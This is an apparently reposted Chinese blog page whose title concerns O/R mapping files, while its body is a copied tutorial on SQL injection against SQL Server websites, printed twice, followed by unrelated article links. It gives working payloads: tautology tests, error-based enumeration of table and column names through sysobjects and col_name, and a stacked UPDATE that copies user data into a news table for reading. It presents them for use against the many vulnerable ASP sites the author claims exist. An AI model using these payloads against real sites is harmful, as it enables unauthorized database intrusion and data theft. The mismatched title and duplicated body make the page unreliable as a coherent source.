O/R Mapping 影射文件生成的一点研究(暂时放在这里,实现以后再进行总结)
2005-11-29 15:50
441 查看
From:
http://blog.waynedeng.com/blogview.asp?logID=469
原来题目是:
专门针对SQL Server的注入手段
小弟潜心研究sql injection一个余月,发现国内存在sql injection漏洞的网站一大把一大把,80%以上的asp网站都似乎是不学无术、骗吃骗喝的“程序员”所做。不光漏洞多,而且网站内部结构也是零乱无比……
关于sql injection网上流传甚广的SQL注入天书可以说是非常不错的入门介绍了,在这里也要重复一些老套的手法。
首先上手的都是1=1,1=2的方法测试验证漏洞,字符则用' or 1=1 or '1'='。
而sql server特别的还有user>0,db_name()>0。但是这些手法都只是检测漏洞的方法,真正有用的在下面。
1、获得所有的Table表名
(Select distinct Top 1 name from sysobjects where xtype='U' and status>0 and name not in (select distinct top i name from sysobjects where xtype='U' and status>0 order by name) order by name)>0
i为一个整数,i取1时,返回第一个table name(按表名排序),2返回第二个,依此类推,直到什么都没有返回为止。
2、得到表名后再获得字段名(field name)
(Select Top 1 col_name(object_id('TableName'),i) from sysobjects)>0
这一句返回TableName这个表里第i个字段的名字
3、得到所有的表名以及里面字段名,估计对这个网站的结构也就有相应的了解了。然后怎样获得字段中的数据呢?
如果是字符串,自然用>0的技俩,如果是其它类型,那就找一个新闻之类的表,再用
;update news set caption=(select username from users where id=9) where newsid=100;-- 之类的方法把你要的数据写出来,这样基本上就没有你不知道的内容了。
我自己用VB做了个软件,自动获得表名和字段名,速度极快,瞬间整个数据库的结构就出来了。
当然这些不过是sql语句的构造而已,没什么过多的技术,另外这一个网页也是sql server injection必备的哟http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_tsqlcon_6lyk.asp
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
SELECT table_name FROM INFORMATION_SCHEMA.TABLES where table_type='base table'
select * from INFORMATION_SCHEMA.TABLES
where TABLE_TYPE='BASE TABLE'
select * from sysobjects where type='u' order by name
http://blog.waynedeng.com/blogview.asp?logID=469
原来题目是:
专门针对SQL Server的注入手段
小弟潜心研究sql injection一个余月,发现国内存在sql injection漏洞的网站一大把一大把,80%以上的asp网站都似乎是不学无术、骗吃骗喝的“程序员”所做。不光漏洞多,而且网站内部结构也是零乱无比……
关于sql injection网上流传甚广的SQL注入天书可以说是非常不错的入门介绍了,在这里也要重复一些老套的手法。
首先上手的都是1=1,1=2的方法测试验证漏洞,字符则用' or 1=1 or '1'='。
而sql server特别的还有user>0,db_name()>0。但是这些手法都只是检测漏洞的方法,真正有用的在下面。
1、获得所有的Table表名
(Select distinct Top 1 name from sysobjects where xtype='U' and status>0 and name not in (select distinct top i name from sysobjects where xtype='U' and status>0 order by name) order by name)>0
i为一个整数,i取1时,返回第一个table name(按表名排序),2返回第二个,依此类推,直到什么都没有返回为止。
2、得到表名后再获得字段名(field name)
(Select Top 1 col_name(object_id('TableName'),i) from sysobjects)>0
这一句返回TableName这个表里第i个字段的名字
3、得到所有的表名以及里面字段名,估计对这个网站的结构也就有相应的了解了。然后怎样获得字段中的数据呢?
如果是字符串,自然用>0的技俩,如果是其它类型,那就找一个新闻之类的表,再用
;update news set caption=(select username from users where id=9) where newsid=100;-- 之类的方法把你要的数据写出来,这样基本上就没有你不知道的内容了。
我自己用VB做了个软件,自动获得表名和字段名,速度极快,瞬间整个数据库的结构就出来了。
当然这些不过是sql语句的构造而已,没什么过多的技术,另外这一个网页也是sql server injection必备的哟http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_tsqlcon_6lyk.asp
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
SELECT table_name FROM INFORMATION_SCHEMA.TABLES where table_type='base table'
select * from INFORMATION_SCHEMA.TABLES
where TABLE_TYPE='BASE TABLE'
select * from sysobjects where type='u' order by name
相关文章推荐
- 今天无意中发现JavaBean类基本都要求实现了Serializable接口,以前只是知道序列化以后,可以通过io流的方式将对象序列化和反序列化,进行存取,但不知道为什么需要序列化,今天总结一下
- Java绘制图片并实现打印前生成图片文件进行预览
- 考题一:研究对全排列着色的性质 问题 A: 首先需要生成 n 的全排列然后对 n 的全排列进行着色, 使得相邻的两个数只需用最少颜色就可以把相邻的两个数用那区分开. (这里相邻包含两层含义:同时在自然
- 第25篇 研究WebRTC官网之生成工程文件(二)及用ninja进行编译
- 生成日志文件,并在0点进行备份(java 实现)
- 多线程取读文件(别人的,有点晕,先放在这里有时间研究研究)
- 实现Winform应用系统自动升级 ---------关于服务器端配置文件以实现的一点总结
- 以后学习总结就放在这里了
- 找到目录下的文件夹 并且进行压缩,然后再生成压缩文件到指定目录
- jsp两个不同组件实现文件上传总结--cos.jar包和commons-fileupload.jar包
- 使用jxl生成Excle文件的代码总结
- Mybatis-Generator插件自动生成Dao、Model、Mapping相关文件
- Java实现将一个文件进行压缩
- 用js进行url编码后用php反解以及用php实现js的escape功能函数总结
- 使用Mybatis-Generator自动生成Dao、Model、Mapping相关文件(转)
- 根据进程查找该进行的执行位置和完整执行指令和检查文件开始生成时间
- 节点文件将两个不同格式的XML文件,进行节点对照,并生成一个用于对照功能的XML
- SSM框架搭建(三) 数据库创建和MyBatis生成器自动生成实体类、DAO接口和Mapping映射文件
- Node.js+jade+mongodb+mongoose实现爬虫分离入库与生成静态文件的方法
- 用FileMenu Tools玩转系统右键菜单 软件还有其他的内置命令,这里由于篇幅原因不能全部介绍了,比如注册DLL、反注册命令,当注册表中的某个dll或ocx文件受损时,可以使用该命令进行恢